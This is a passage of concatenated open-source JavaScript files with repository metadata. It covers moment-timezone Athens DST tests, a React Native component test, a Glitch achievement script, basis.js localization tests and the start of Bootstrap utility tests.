t.equal(moment("2033-03-27T00:59:59+00:00").tz("Europe/Athens").zone(), -120, "2033-03-27T00:59:59+00:00 should be -120 minutes offset in EET"); t.equal(moment("2033-03-27T01:00:00+00:00").tz("Europe/Athens").zone(), -180, "2033-03-27T01:00:00+00:00 should be -180 minutes offset in EEST"); t.equal(moment("2033-10-30T00:59:59+00:00").tz("Europe/Athens").zone(), -180, "2033-10-30T00:59:59+00:00 should be -180 minutes offset in EEST"); t.equal(moment("2033-10-30T01:00:00+00:00").tz("Europe/Athens").zone(), -120, "2033-10-30T01:00:00+00:00 should be -120 minutes offset in EET"); t.done(); }, "2034" : function (t) { t.equal(moment("2034-03-26T00:59:59+00:00").tz("Europe/Athens").format("HH:mm:ss"), "02:59:59", "2034-03-26T00:59:59+00:00 should be 02:59:59 EET"); t.equal(moment("2034-03-26T01:00:00+00:00").tz("Europe/Athens").format("HH:mm:ss"), "04:00:00", "2034-03-26T01:00:00+00:00 should be 04:00:00 EEST"); t.equal(moment("2034-10-29T00:59:59+00:00").tz("Europe/Athens").format("HH:mm:ss"), "03:59:59", "2034-10-29T00:59:59+00:00 should be 03:59:59 EEST"); t.equal(moment("2034-10-29T01:00:00+00:00").tz("Europe/Athens").format("HH:mm:ss"), "03:00:00", "2034-10-29T01:00:00+00:00 should be 03:00:00 EET"); t.equal(moment("2034-03-26T00:59:59+00:00").tz("Europe/Athens").zone(), -120, "2034-03-26T00:59:59+00:00 should be -120 minutes offset in EET"); t.equal(moment("2034-03-26T01:00:00+00:00").tz("Europe/Athens").zone(), -180, "2034-03-26T01:00:00+00:00 should be -180 minutes offset in EEST"); t.equal(moment("2034-10-29T00:59:59+00:00").tz("Europe/Athens").zone(), -180, "2034-10-29T00:59:59+00:00 should be -180 minutes offset in EEST"); t.equal(moment("2034-10-29T01:00:00+00:00").tz("Europe/Athens").zone(), -120, "2034-10-29T01:00:00+00:00 should be -120 minutes offset in EET"); t.done(); }, "2035" : function (t) { t.equal(moment("2035-03-25T00:59:59+00:00").tz("Europe/Athens").format("HH:mm:ss"), "02:59:59", "2035-03-25T00:59:59+00:00 should be 02:59:59 EET"); t.equal(moment("2035-03-25T01:00:00+00:00").tz("Europe/Athens").format("HH:mm:ss"), "04:00:00", "2035-03-25T01:00:00+00:00 should be 04:00:00 EEST"); t.equal(moment("2035-10-28T00:59:59+00:00").tz("Europe/Athens").format("HH:mm:ss"), "03:59:59", "2035-10-28T00:59:59+00:00 should be 03:59:59 EEST"); t.equal(moment("2035-10-28T01:00:00+00:00").tz("Europe/Athens").format("HH:mm:ss"), "03:00:00", "2035-10-28T01:00:00+00:00 should be 03:00:00 EET"); t.equal(moment("2035-03-25T00:59:59+00:00").tz("Europe/Athens").zone(), -120, "2035-03-25T00:59:59+00:00 should be -120 minutes offset in EET"); t.equal(moment("2035-03-25T01:00:00+00:00").tz("Europe/Athens").zone(), -180, "2035-03-25T01:00:00+00:00 should be -180 minutes offset in EEST"); t.equal(moment("2035-10-28T00:59:59+00:00").tz("Europe/Athens").zone(), -180, "2035-10-28T00:59:59+00:00 should be -180 minutes offset in EEST"); t.equal(moment("2035-10-28T01:00:00+00:00").tz("Europe/Athens").zone(), -120, "2035-10-28T01:00:00+00:00 should be -120 minutes offset in EET"); t.done(); }, "2036" : function (t) { t.equal(moment("2036-03-30T00:59:59+00:00").tz("Europe/Athens").format("HH:mm:ss"), "02:59:59", "2036-03-30T00:59:59+00:00 should be 02:59:59 EET"); t.equal(moment("2036-03-30T01:00:00+00:00").tz("Europe/Athens").format("HH:mm:ss"), "04:00:00", "2036-03-30T01:00:00+00:00 should be 04:00:00 EEST"); t.equal(moment("2036-10-26T00:59:59+00:00").tz("Europe/Athens").format("HH:mm:ss"), "03:59:59", "2036-10-26T00:59:59+00:00 should be 03:59:59 EEST"); t.equal(moment("2036-10-26T01:00:00+00:00").tz("Europe/Athens").format("HH:mm:ss"), "03:00:00", "2036-10-26T01:00:00+00:00 should be 03:00:00 EET"); t.equal(moment("2036-03-30T00:59:59+00:00").tz("Europe/Athens").zone(), -120, "2036-03-30T00:59:59+00:00 should be -120 minutes offset in EET"); t.equal(moment("2036-03-30T01:00:00+00:00").tz("Europe/Athens").zone(), -180, "2036-03-30T01:00:00+00:00 should be -180 minutes offset in EEST"); t.equal(moment("2036-10-26T00:59:59+00:00").tz("Europe/Athens").zone(), -180, "2036-10-26T00:59:59+00:00 should be -180 minutes offset in EEST"); t.equal(moment("2036-10-26T01:00:00+00:00").tz("Europe/Athens").zone(), -120, "2036-10-26T01:00:00+00:00 should be -120 minutes offset in EET"); t.done(); }, "2037" : function (t) { t.equal(moment("2037-03-29T00:59:59+00:00").tz("Europe/Athens").format("HH:mm:ss"), "02:59:59", "2037-03-29T00:59:59+00:00 should be 02:59:59 EET"); t.equal(moment("2037-03-29T01:00:00+00:00").tz("Europe/Athens").format("HH:mm:ss"), "04:00:00", "2037-03-29T01:00:00+00:00 should be 04:00:00 EEST"); t.equal(moment("2037-10-25T00:59:59+00:00").tz("Europe/Athens").format("HH:mm:ss"), "03:59:59", "2037-10-25T00:59:59+00:00 should be 03:59:59 EEST"); t.equal(moment("2037-10-25T01:00:00+00:00").tz("Europe/Athens").format("HH:mm:ss"), "03:00:00", "2037-10-25T01:00:00+00:00 should be 03:00:00 EET"); t.equal(moment("2037-03-29T00:59:59+00:00").tz("Europe/Athens").zone(), -120, "2037-03-29T00:59:59+00:00 should be -120 minutes offset in EET"); t.equal(moment("2037-03-29T01:00:00+00:00").tz("Europe/Athens").zone(), -180, "2037-03-29T01:00:00+00:00 should be -180 minutes offset in EEST"); t.equal(moment("2037-10-25T00:59:59+00:00").tz("Europe/Athens").zone(), -180, "2037-10-25T00:59:59+00:00 should be -180 minutes offset in EEST"); t.equal(moment("2037-10-25T01:00:00+00:00").tz("Europe/Athens").zone(), -120, "2037-10-25T01:00:00+00:00 should be -120 minutes offset in EET"); t.done(); } };
harishvc/twitter-stream-analytics
node_modules/moment-timezone/tests/europe/athens.js
JavaScript
mit
85,076
/** * Copyright (c) 2013-present, Facebook, Inc. * * This source code is licensed under the MIT license found in the * LICENSE file in the root directory of this source tree. * * @emails react-core */ 'use strict'; let createReactNativeComponentClass; let React; let ReactNative; describe('createReactNativeComponentClass', () => { beforeEach(() => { jest.resetModules(); createReactNativeComponentClass = require('../createReactNativeComponentClass') .default; React = require('react'); ReactNative = require('react-native-renderer'); }); it('should register viewConfigs', () => { const textViewConfig = { validAttributes: {}, uiViewClassName: 'Text', }; const viewViewConfig = { validAttributes: {}, uiViewClassName: 'View', }; const Text = createReactNativeComponentClass( textViewConfig.uiViewClassName, () => textViewConfig, ); const View = createReactNativeComponentClass( viewViewConfig.uiViewClassName, () => viewViewConfig, ); expect(Text).not.toBe(View); ReactNative.render(<Text />, 1); ReactNative.render(<View />, 1); }); it('should not allow viewConfigs with duplicate uiViewClassNames to be registered', () => { const textViewConfig = { validAttributes: {}, uiViewClassName: 'Text', }; const altTextViewConfig = { validAttributes: {}, uiViewClassName: 'Text', // Same }; createReactNativeComponentClass( textViewConfig.uiViewClassName, () => textViewConfig, ); expect(() => { createReactNativeComponentClass( altTextViewConfig.uiViewClassName, () => altTextViewConfig, ); }).toThrow('Tried to register two views with the same name Text'); }); });
isubham/isubham.github.io
react/react-16.2.0/packages/react-native-renderer/src/__tests__/createReactNativeComponentClass-test.internal.js
JavaScript
mit
1,802
var name = "Potion Patron"; var collection_type = 0; var is_secret = 0; var desc = "Quaffed or poured 7 Potions"; var status_text = "They may taste foul, but who cares? Potions! You've poured down seven of 'em! ZAP!"; var last_published = 1338918149; var is_shareworthy = 0; var url = "potion-patron"; var category = "alchemy"; var url_swf = "\/c2.glitch.bz\/achievements\/2011-11-23\/potion_patron_1322093722.swf"; var url_img_180 = "\/c2.glitch.bz\/achievements\/2011-11-23\/potion_patron_1322093722_180.png"; var url_img_60 = "\/c2.glitch.bz\/achievements\/2011-11-23\/potion_patron_1322093722_60.png"; var url_img_40 = "\/c2.glitch.bz\/achievements\/2011-11-23\/potion_patron_1322093722_40.png"; function on_apply(pc){ } var conditions = { 657 : { type : "group_sum", group : "potions_used", value : "7" }, }; function onComplete(pc){ // generated from rewards var multiplier = pc.buffs_has('gift_of_gab') ? 1.2 : pc.buffs_has('silvertongue') ? 1.05 : 1.0; multiplier += pc.imagination_get_achievement_modifier(); if (/completist/i.exec(this.name)) { var level = pc.stats_get_level(); if (level > 4) { multiplier *= (pc.stats_get_level()/4); } } pc.stats_add_xp(round_to_5(200 * multiplier), true); pc.stats_add_favor_points("ti", round_to_5(20 * multiplier)); if(pc.buffs_has('gift_of_gab')) { pc.buffs_remove('gift_of_gab'); } else if(pc.buffs_has('silvertongue')) { pc.buffs_remove('silvertongue'); } } var rewards = { "xp" : 200, "favor" : { "giant" : "ti", "points" : 20 } }; // generated ok (NO DATE)
yelworc/eleven-gsjs
achievements/potion_patron.js
JavaScript
mit
1,573
module.exports = { name: 'basis.l10n', sandbox: true, init: function(){ var basis = window.basis.createSandbox(); var catchWarnings = basis.require('./helpers/common.js').catchWarnings; var getTokenValues = basis.require('./helpers/l10n.js').getTokenValues; var Dictionary = basis.require('basis.l10n').Dictionary; var Culture = basis.require('basis.l10n').Culture; var getDictionary = basis.require('basis.l10n').dictionary; var setCultureList = basis.require('basis.l10n').setCultureList; var setCulture = basis.require('basis.l10n').setCulture; var currentCulture = basis.require('basis.l10n').culture; var getCulture = basis.require('basis.l10n').getCulture; }, test: [ { name: 'fallback', test: [ { name: 'basic', test: function(){ var res = { 'en-US': { 'value': 'base' } }; var dict = getDictionary(basis.resource.virtual('l10n', res)); setCulture('en-US'); assert(dict.token('value').value === 'base'); setCultureList('en-US a/b b/c c'); setCulture('c'); assert(dict.token('value').value === 'base'); setCulture('b'); assert(dict.token('value').value === 'base'); setCulture('a'); assert(dict.token('value').value === 'base'); res.c = { value: 'c' }; dict.resource.update(JSON.stringify(res)); setCulture('c'); assert(dict.token('value').value === 'c'); setCulture('b'); assert(dict.token('value').value === 'c'); setCulture('a'); assert(dict.token('value').value === 'c'); res.b = { value: 'b' }; dict.resource.update(JSON.stringify(res)); assert(dict.token('value').value === 'b'); setCulture('b'); assert(dict.token('value').value === 'b'); setCulture('c'); assert(dict.token('value').value === 'c'); res.a = { value: 'a' }; dict.resource.update(JSON.stringify(res)); setCulture('a'); assert(dict.token('value').value === 'a'); setCulture('b'); assert(dict.token('value').value === 'b'); setCulture('c'); assert(dict.token('value').value === 'c'); } }, { name: 'should not implicit create fallback culture', test: function(){ var basis = window.basis.createSandbox(); var l10n = basis.require('basis.l10n'); l10n.setCultureList('en/ru ua'); assert.deep(['en', 'ua'], l10n.getCultureList().sort()); assert(l10n.getCulture() === 'en'); l10n.setCulture('ru'); assert(l10n.getCulture() !== 'ru'); l10n.setCulture('ua'); assert(l10n.getCulture() === 'ua'); l10n.setCulture('en'); assert(l10n.getCulture() === 'en'); } } ] }, { name: 'computeToken', test: [ { name: 'base', sandbox: true, init: function(){ var basis = window.basis.createSandbox(); var getDictionary = basis.require('basis.l10n').dictionary; var setCultureList = basis.require('basis.l10n').setCultureList; var setCulture = basis.require('basis.l10n').setCulture; var currentCulture = basis.require('basis.l10n').culture; setCultureList('a'); setCulture('a'); }, test: [ { name: 'simple', test: function(){ var dict = getDictionary(basis.resource.virtual('l10n', { a: { token: { foo: 'foo', bar: 'bar' } } })); var token = dict.token('token').computeToken(); var tokenCount = Object.keys(dict.tokens).length; // should not produce extra tokens in dictionary assert(token.get() === undefined); assert(Object.keys(dict.tokens).length == tokenCount); token.set('foo'); assert(token.get() === 'foo'); assert(Object.keys(dict.tokens).length == tokenCount); token.set('bar'); assert(token.get() === 'bar'); assert(Object.keys(dict.tokens).length == tokenCount); token.set('baz'); assert(token.get() === undefined); assert(Object.keys(dict.tokens).length == tokenCount); } }, { name: 'update on dictionary changes', test: function(){ var data = { a: { token: { foo: 'foo', bar: 'bar' } } }; var dict = getDictionary(basis.resource.virtual('l10n', data)); var computeToken = dict.token('token').computeToken(); assert(computeToken.get() === undefined); computeToken.set('foo'); assert(computeToken.get() === 'foo'); dict.resource.update({ a: { token: { foo: 'foo-2', bar: 'bar-2' } } }); assert(computeToken.get() === 'foo-2'); computeToken.set('bar'); assert(computeToken.get() === 'bar-2'); dict.resource.update({ a: { token: {} } }); assert(computeToken.get() === undefined); dict.resource.update({}); assert(computeToken.get() === undefined); dict.resource.update({ a: { token: { bar: 'bar-3' } } }); assert(computeToken.get() === 'bar-3'); } } ] }, { name: 'fallback', test: function(){ setCultureList('a/b b'); var dict = getDictionary(basis.resource.virtual('l10n', { a: { token: { key1: 'a' } }, b: { token: { key1: 'b1', key2: 'b2' } } })); var checkToken = dict.token('token').computeToken(); // base culture A checkToken.set('key1'); assert(getCulture() === 'a'); assert(checkToken.get() === 'a'); checkToken.set('key2'); assert(checkToken.get() === 'b2'); // set culture B setCulture('b'); assert(getCulture() === 'b'); assert(checkToken.get() === 'b2'); checkToken.set('key1'); assert(checkToken.get() === 'b1'); checkToken.set('key2'); assert(checkToken.get() === 'b2'); // set culture A setCulture('a'); assert(getCulture() === 'a'); assert(checkToken.get() === 'b2'); checkToken.set('key1'); assert(checkToken.get() === 'a'); checkToken.set('key2'); assert(checkToken.get() === 'b2'); } }, { name: 'fallback on dictionary update', test: function(){ setCultureList('a/b b'); var data = { a: { token: { key1: 'a' } }, b: { token: { key1: 'b1', key2: 'b2' } } }; var dict = getDictionary(basis.resource.virtual('l10n', data)); var checkToken = dict.token('token').computeToken(); // base culture A checkToken.set('key1'); assert(getCulture() === 'a'); assert(checkToken.get() === 'a'); checkToken.set('key2'); assert(checkToken.get() === 'b2'); // update dict content dict.resource.update(basis.object.complete({ b: { token: { key1: 'b1-2', key2: 'b2-2' } } }, data)); assert(checkToken.get() === 'b2-2'); checkToken.set('key1'); assert(checkToken.get() === 'a'); checkToken.set('key2'); assert(checkToken.get() === 'b2-2'); } } ] }, { name: 'get dictionary via require', test: function(){ var dict; // using require for dictionary should not produce warnings assert(catchWarnings(function(){ dict = basis.require('./fixture/dict.l10n'); }) === false); assert(dict instanceof Dictionary); assert(dict === getDictionary('./fixture/dict.l10n')); } }, { name: 'dictionary', test: function(){ assert(getDictionary('./fixture/dict.l10n') instanceof Dictionary); assert(getDictionary('./fixture/dict.l10n') === getDictionary('./fixture/dict.l10n')); assert(getDictionary(basis.resource('./fixture/dict.l10n')) === getDictionary('./fixture/dict.l10n')); // path should be normalized assert(getDictionary('./foo/../fixture/dict.l10n') === getDictionary('./fixture/dict.l10n')); // file extension should be replaced for `.l10n` assert(getDictionary('./fixture/dict.l10n') === getDictionary('./fixture/dict.whatever')); // if no extension, then `.l10n` should be appended assert(getDictionary('./fixture/dict.l10n') === getDictionary('./fixture/dict')); } }, { name: 'dictionary from static data (experimental, under consideration)', test: function(){ var staticdata = { 'ru-RU': { test: 'Test' } }; var dict = getDictionary(staticdata); assert(dict instanceof Dictionary); // static data should produce the same dictionary (under consideration) assert(getDictionary(staticdata) !== getDictionary(staticdata)); // check dictionary setCultureList('en-US ru-RU'); setCulture('en-US'); assert(dict.token('test').value === undefined); setCulture('ru-RU'); assert(dict.token('test').value === 'Test'); } }, { name: 'culture/Culture', test: function(){ setCultureList('en-US ru-RU'); setCulture('en-US'); assert(getCulture() === 'en-US'); assert(currentCulture.value === 'en-US'); assert(currentCulture.get() === 'en-US'); assert(currentCulture().name === 'en-US'); setCulture('ru-RU'); assert(getCulture() === 'ru-RU'); assert(currentCulture.value === 'ru-RU'); assert(currentCulture.get() === 'ru-RU'); assert(currentCulture().name === 'ru-RU'); currentCulture.set('en-US'); assert(getCulture() === 'en-US'); assert(currentCulture.value === 'en-US'); assert(currentCulture.get() === 'en-US'); assert(currentCulture().name === 'en-US'); // create culture assert((new Culture('en-US')).name === 'en-US'); assert((new Culture('en-US')) !== (new Culture('en-US'))); // culture helper assert(currentCulture('ru-RU') === currentCulture('ru-RU')); assert(currentCulture() === currentCulture(getCulture())); assert(currentCulture() instanceof Culture); } }, { name: 'types', sandbox: true, init: function(){ var basis = window.basis.createSandbox(); var l10n = basis.require('basis.l10n'); var getDictionary = l10n.dictionary; var isMarkupToken = l10n.isMarkupToken; l10n.setCultureList('en-US'); }, test: [ { name: 'getType()', test: [ { name: 'should be default if type is not defined', test: function(){ var dict = getDictionary(basis.resource.virtual('l10n', { 'en-US': { foo: 'test' } })); assert(dict.token('foo').getType() === 'default'); } }, { name: 'should ignore wrong types', test: function(){ var dict = getDictionary(basis.resource.virtual('l10n', { _meta: { type: { 'foo': 'foo', 'bar': 'enum-markup', 'bar.foo': 'foo' } }, 'en-US': { foo: 'test', bar: { foo: 'test' } } })); assert(dict.token('foo').getType() === 'default'); assert(dict.token('bar.foo').getType() === 'markup'); } }, { name: 'should be same type as defined', test: function(){ var dict = getDictionary(basis.resource.virtual('l10n', { _meta: { type: { 'default': 'default', 'plural': 'plural', 'markup': 'markup', 'plural-markup': 'plural-markup', 'enum-markup': 'enum-markup' } }, 'en-US': { 'default': 'default', 'plural': 'plural', 'markup': 'markup', 'plural-markup': 'plural-markup', 'enum-markup': 'enum-markup' } })); assert(dict.token('default').getType() === 'default'); assert(dict.token('plural').getType() === 'plural'); assert(dict.token('markup').getType() === 'markup'); assert(dict.token('plural-markup').getType() === 'plural-markup'); assert(dict.token('enum-markup').getType() === 'enum-markup'); } }, { name: 'should be markup when parent is `enum-markup` or `plural-markup`', test: function(){ var dict = getDictionary(basis.resource.virtual('l10n', { _meta: { type: { foo: 'markup', bar: 'plural-markup', baz: 'enum-markup' } }, 'en-US': { foo: 'markup', bar: [ 'bar', 'bars' ], baz: { qux: 'quz' } } })); assert(dict.token('bar').token(1).getType() === 'markup'); assert(dict.token('baz.qux').getType() === 'markup'); } }, { name: 'implicit type definition should be `enum-markup`', test: function(){ var dict = getDictionary(basis.resource.virtual('l10n', { _meta: { type: { enum: 'enum-markup', 'enum.bar': 'default', 'enum.baz': 'plural', 'enum.qux': 'wrong-type' } }, 'en-US': { enum: { foo: 'foo', bar: 'bar', baz: ['plural', 'plurals'], qux: 'qux' } } })); assert(dict.token('enum.foo').getType() === 'markup'); assert(dict.token('enum.bar').getType() === 'default'); assert(dict.token('enum.baz').getType() === 'plural'); assert(dict.token('enum.qux').getType() === 'markup'); } }, { name: 'dynamic type change', test: function(){ var data = { _meta: { type: { markup: 'markup', plural: 'plural' } }, 'en-US': { markup: 'markup', plural: ['plural', 'plurals'] } }; var resource = basis.resource.virtual('l10n', data); var dict = getDictionary(resource); assert(dict.token('markup').getType() === 'markup'); assert(dict.token('plural').getType() === 'plural'); resource.update({ 'en-US': data['en-US'] }); assert(dict.token('markup').getType() === 'default'); assert(dict.token('plural').getType() === 'default'); resource.update(data); assert(dict.token('markup').getType() === 'markup'); assert(dict.token('plural').getType() === 'plural'); } }, { name: 'per culture setup', beforeEach: function(){ var basis = window.basis.createSandbox(); var l10n = basis.require('basis.l10n'); var dictionary = l10n.dictionary; l10n.setCultureList('en-US/ru-RU ru-RU'); }, test: [ { name: 'culture types should override common types', test: function(){ var dict = dictionary({ '_meta': { 'type': { 'foo': 'enum-markup' } }, 'en-US': { 'foo': { 'baz': 'smth' } }, 'ru-RU': { '_meta': { 'type': { 'foo': 'default' } }, 'foo': { 'bar': 'smth' } } }); assert(l10n.getCulture() === 'en-US'); assert(dict.token('foo.baz').getType() === 'markup'); assert(dict.token('foo.bar').getType() === 'default'); // fallback to ru-RU with overriden type assert(dict.token('foo.non-exists').getType() === 'default'); l10n.setCulture('ru-RU'); assert(l10n.getCulture() === 'ru-RU'); assert(dict.token('foo.baz').getType() === 'markup'); // doesn't exists in ru-RU, so type uses from dictionary // not sure it's correct, but some logic here assert(dict.token('foo.bar').getType() === 'default'); assert(dict.token('foo.non-exists').getType() === 'default'); l10n.setCulture('en-US'); assert(l10n.getCulture() === 'en-US'); assert(dict.token('foo.baz').getType() === 'markup'); assert(dict.token('foo.bar').getType() === 'default'); // fallback to ru-RU with overriden type assert(dict.token('foo.non-exists').getType() === 'default'); } }, { name: 'case#1', test: function(){ var dict = dictionary({ 'en-US': { 'foo': { 'baz': 'smth' } }, 'ru-RU': { '_meta': { 'type': { 'foo': 'enum-markup' } }, 'foo': { 'bar': 'smth' } } }); assert(l10n.getCulture() === 'en-US'); assert(dict.token('foo.baz').getType() === 'default'); // since no special type for path assert(dict.token('foo.bar').getType() === 'markup'); // fallback to ru-RU l10n.setCulture('ru-RU'); assert(l10n.getCulture() === 'ru-RU'); assert(dict.token('foo.baz').getType() === 'default'); // since no value for token assert(dict.token('foo.bar').getType() === 'markup'); // match to path l10n.setCulture('en-US'); assert(l10n.getCulture() === 'en-US'); assert(dict.token('foo.baz').getType() === 'default'); // since no special type for path assert(dict.token('foo.bar').getType() === 'markup'); // fallback to ru-RU } }, { name: 'case#2', test: function(){ var dict = dictionary({ 'en-US': { '_meta': { 'type': { 'foo': 'enum-markup' } }, 'foo': { 'baz': 'smth' } }, 'ru-RU': { '_meta': { 'type': { 'foo': 'enum-markup', 'foo.qux': 'plural' } }, 'foo': { 'bar': 'smth', 'qux': ['one', 'two'] } } }); assert(l10n.getCulture() === 'en-US'); assert(dict.token('foo.baz').getType() === 'markup'); assert(dict.token('foo.bar').getType() === 'markup'); assert(dict.token('foo.qux').getType() === 'plural'); // fallback to ru-RU assert(dict.token('foo.non-exists').getType() === 'default'); l10n.setCulture('ru-RU'); assert(l10n.getCulture() === 'ru-RU'); assert(dict.token('foo.baz').getType() === 'markup'); // doesn't exists in ru-RU, but default type for foo.* is markup assert(dict.token('foo.bar').getType() === 'markup'); assert(dict.token('foo.qux').getType() === 'plural'); assert(dict.token('foo.non-exists').getType() === 'default'); } }, { name: 'should not crash when define types for not declared culture', test: function(){ var dict = dictionary({ 'xxx': { '_meta': { 'type': { 'foo.qux': 'plural' } }, 'foo': { 'qux': 'xxx' } } }); assert(dict.token('foo.qux').getType() === 'default'); } } ] } ] }, { name: 'isMarkupToken', test: function(){ var dict = getDictionary(basis.resource.virtual('l10n', { _meta: { type: { 'default': 'default', 'plural': 'plural', 'markup': 'markup', 'plural-markup': 'plural-markup', 'enum-markup': 'enum-markup' } }, 'en-US': { 'default': 'default', 'plural': 'plural', 'markup': 'markup', 'plural-markup': ['one', 'many'], 'enum-markup': { foo: 'foo' } } })); assert(isMarkupToken(dict.token('default')) === false); assert(isMarkupToken(dict.token('plural')) === false); assert(isMarkupToken(dict.token('plural-markup')) === false); assert(isMarkupToken(dict.token('enum-markup')) === false); assert(isMarkupToken(dict.token('markup')) === true); assert(isMarkupToken(dict.token('plural-markup').token(1)) === true); assert(isMarkupToken(dict.token('enum-markup.foo')) === true); } }, { name: 'plural', test: [ { name: 'simple', test: function(){ var dict = getDictionary(basis.resource.virtual('l10n', { _meta: { type: { 'plural': 'plural', 'plural-markup': 'plural-markup' } }, 'en-US': { 'plural': [ 'test', 'tests' ], 'plural-markup': [ 'test', 'tests' ] } })); assert(dict.token('plural').token(1).get() == 'test'); assert(dict.token('plural').token(2).get() == 'tests'); assert(dict.token('plural').computeToken(1).get() == 'test'); assert(dict.token('plural').computeToken(2).get() == 'tests'); assert(dict.token('plural-markup').token(1).get() == 'test'); assert(dict.token('plural-markup').token(2).get() == 'tests'); assert(dict.token('plural-markup').computeToken(1).get() == 'test'); assert(dict.token('plural-markup').computeToken(2).get() == 'tests'); } }, { name: 'should use placeholder', test: function(){ var dict = getDictionary(basis.resource.virtual('l10n', { _meta: { type: { 'plural': 'plural', 'plural-markup': 'plural-markup' } }, 'en-US': { 'plural': [ '{#} test {#}', '{#} tests {#}' ], 'plural-markup': [ '{#} test {#}', '{#} tests {#}' ] } })); assert(dict.token('plural').token(1).get() == '1 test 1'); assert(dict.token('plural').token(2).get() == '2 tests 2'); assert(dict.token('plural').computeToken(1).get() == '1 test 1'); assert(dict.token('plural').computeToken(2).get() == '2 tests 2'); assert(dict.token('plural-markup').token(1).get() == '1 test 1'); assert(dict.token('plural-markup').token(2).get() == '2 tests 2'); assert(dict.token('plural-markup').computeToken(1).get() == '1 test 1'); assert(dict.token('plural-markup').computeToken(2).get() == '2 tests 2'); } } ] } ] }, { name: 'dictionary patching', test: [ { name: 'patch in config', beforeEach: function(){ var basis = window.basis.createSandbox({ l10n: { patch: { './fixture/l10n/dest.l10n': './fixture/l10n/patch.l10n' } } }); var getDictionary = basis.require('basis.l10n').dictionary; var originalResource = basis.resource('./fixture/l10n/dest.l10n'); var patchResource = basis.resource('./fixture/l10n/patch.l10n'); var originalValues = getDictionary(JSON.parse(originalResource.get(true))); var patchValues = getDictionary(JSON.parse(patchResource.get(true))); var actual = getDictionary(originalResource); var patch = getDictionary(patchResource); var merged = getDictionary('./fixture/l10n/merge.l10n'); }, afterEach: function(){ for (var path in getTokenValues(actual)) { var descriptor = actual.getDescriptor(path); var dict = descriptor.value === 'dest' ? actual : descriptor.value === 'patch' ? patch : false; if (dict) assert(descriptor.source === dict.id); } }, test: [ { name: 'should merge original with patch', test: function(){ assert.deep(getTokenValues(merged), getTokenValues(actual)); assert.deep(getTokenValues(patchValues), getTokenValues(patch)); } }, { name: 'should update original on patch update', test: function(){ // reset patch - actual should be equal to original patchResource.update({}); assert.deep(getTokenValues(originalValues), getTokenValues(actual)); assert.deep({}, getTokenValues(patch)); } }, { name: 'should update original on original source update', test: function(){ // reset original - actual should be equal to patch originalResource.update({}); assert.deep(getTokenValues(patchValues), getTokenValues(actual)); assert.deep(getTokenValues(patchValues), getTokenValues(patch)); } } ] }, { name: 'reference to patch file in config', beforeEach: function(){ var basis = window.basis.createSandbox({ l10n: { patch: './fixture/l10n/patch-in-file.json' } }); var getDictionary = basis.require('basis.l10n').dictionary; var originalResource = basis.resource('./fixture/l10n/dest.l10n'); var patchResource = basis.resource('./fixture/l10n/patch.l10n'); var originalValues = getDictionary(JSON.parse(originalResource.get(true))); var patchValues = getDictionary(JSON.parse(patchResource.get(true))); var actual = getDictionary(originalResource); var patch = getDictionary(patchResource); var merged = getDictionary('./fixture/l10n/merge.l10n'); }, afterEach: function(){ for (var path in getTokenValues(actual)) { var descriptor = actual.getDescriptor(path); var dict = descriptor.value === 'dest' ? actual : descriptor.value === 'patch' ? patch : false; if (dict) assert(descriptor.source === dict.id); } }, test: [ { name: 'should merge original with patch', test: function(){ assert.deep(getTokenValues(merged), getTokenValues(actual)); assert.deep(getTokenValues(patchValues), getTokenValues(patch)); } }, { name: 'should update original on patch update', test: function(){ // reset patch - actual should be equal to original patchResource.update({}); assert.deep(getTokenValues(originalValues), getTokenValues(actual)); assert.deep({}, getTokenValues(patch)); } }, { name: 'should update original on original source update', test: function(){ // reset original - actual should be equal to patch originalResource.update({}); assert.deep(getTokenValues(patchValues), getTokenValues(actual)); assert.deep(getTokenValues(patchValues), getTokenValues(patch)); } } ] }, { name: 'empty patch', test: function(){ var basis = window.basis.createSandbox({ l10n: { patch: { './fixture/l10n/dest.l10n': './fixture/l10n/empty-patch.l10n' } } }); var getDictionary = basis.require('basis.l10n').dictionary; var originalResource = basis.resource('./fixture/l10n/dest.l10n'); var patchResource = basis.resource('./fixture/l10n/empty-patch.l10n'); var originalValues = getDictionary(JSON.parse(originalResource.get(true))); var patchValues = getDictionary({}); var actual = getDictionary(originalResource); var patch = getDictionary(patchResource); assert.deep(getTokenValues(originalValues), getTokenValues(actual)); assert.deep(getTokenValues(patchValues), getTokenValues(patch)); } } ] } ] };
basisjs/basisjs
test/spec/l10n.js
JavaScript
mit
33,862
$(function () { 'use strict' window.Util = typeof bootstrap !== 'undefined' ? bootstrap.Util : Util QUnit.module('util') QUnit.test('Util.getSelectorFromElement should return the correct element', function (assert) { assert.expect(2) var $el = $('<div data-target="body"></div>').appendTo($('#qunit-fixture')) assert.strictEqual(Util.getSelectorFromElement($el[0]), 'body') // Not found element var $el2 = $('<div data-target="#fakeDiv"></div>').appendTo($('#qunit-fixture')) assert.strictEqual(Util.getSelectorFromElement($el2[0]), null) }) QUnit.test('Util.typeCheckConfig should thrown an error when a bad config is passed', function (assert) { assert.expect(1) var namePlugin = 'collapse' var defaultType = { toggle: 'boolean', parent: '(string|element)' } var config = { toggle: true, parent: 777 } try { Util.typeCheckConfig(namePlugin, config, defaultType) } catch (err) { assert.strictEqual(err.message, 'COLLAPSE: Option "parent" provided type "number" but expected type "(string|element)".') } }) QUnit.test('Util.isElement should check if we passed an element or not', function (assert) { assert.expect(3) var $div = $('<div id="test"></div>').appendTo($('#qunit-fixture')) assert.strictEqual(Util.isElement($div), 1) assert.strictEqual(Util.isElement($div[0]), 1) assert.strictEqual(typeof Util.isElement({}) === 'undefined', true) }) QUnit.test('Util.getTransitionDurationFromElement should accept transition durations in milliseconds', function (assert) { assert.expect(1) var $div = $('<div style="transition: all 300ms ease-out;"></div>').appendTo($('#qunit-fixture')) assert.strictEqual(Util.getTransitionDurationFromElement($div[0]), 300) }) QUnit.test('Util.getTransitionDurationFromElement should accept transition durations in seconds', function (assert) { assert.expect(1) var $div = $('<div style="transition: all .4s ease-out;"></div>').appendTo($('#qunit-fixture')) assert.strictEqual(Util.getTransitionDurationFromElement($div[0]), 400) }) QUnit.test('Util.getTransitionDurationFromElement should get the first transition duration if multiple transition durations are defined', function (assert) { assert.expect(1) var $div = $('<div style="transition: transform .3s ease-out, opacity .2s;"></div>').appendTo($('#qunit-fixture')) assert.strictEqual(Util.getTransitionDurationFromElement($div[0]), 300) }) QUnit.test('Util.getTransitionDurationFromElement should return 0 if transition duration is not defined', function (assert) { assert.expect(1) var $div = $('<div></div>').appendTo($('#qunit-fixture')) assert.strictEqual(Util.getTransitionDurationFromElement($div[0]), 0) }) QUnit.test('Util.getTransitionDurationFromElement should return 0 if 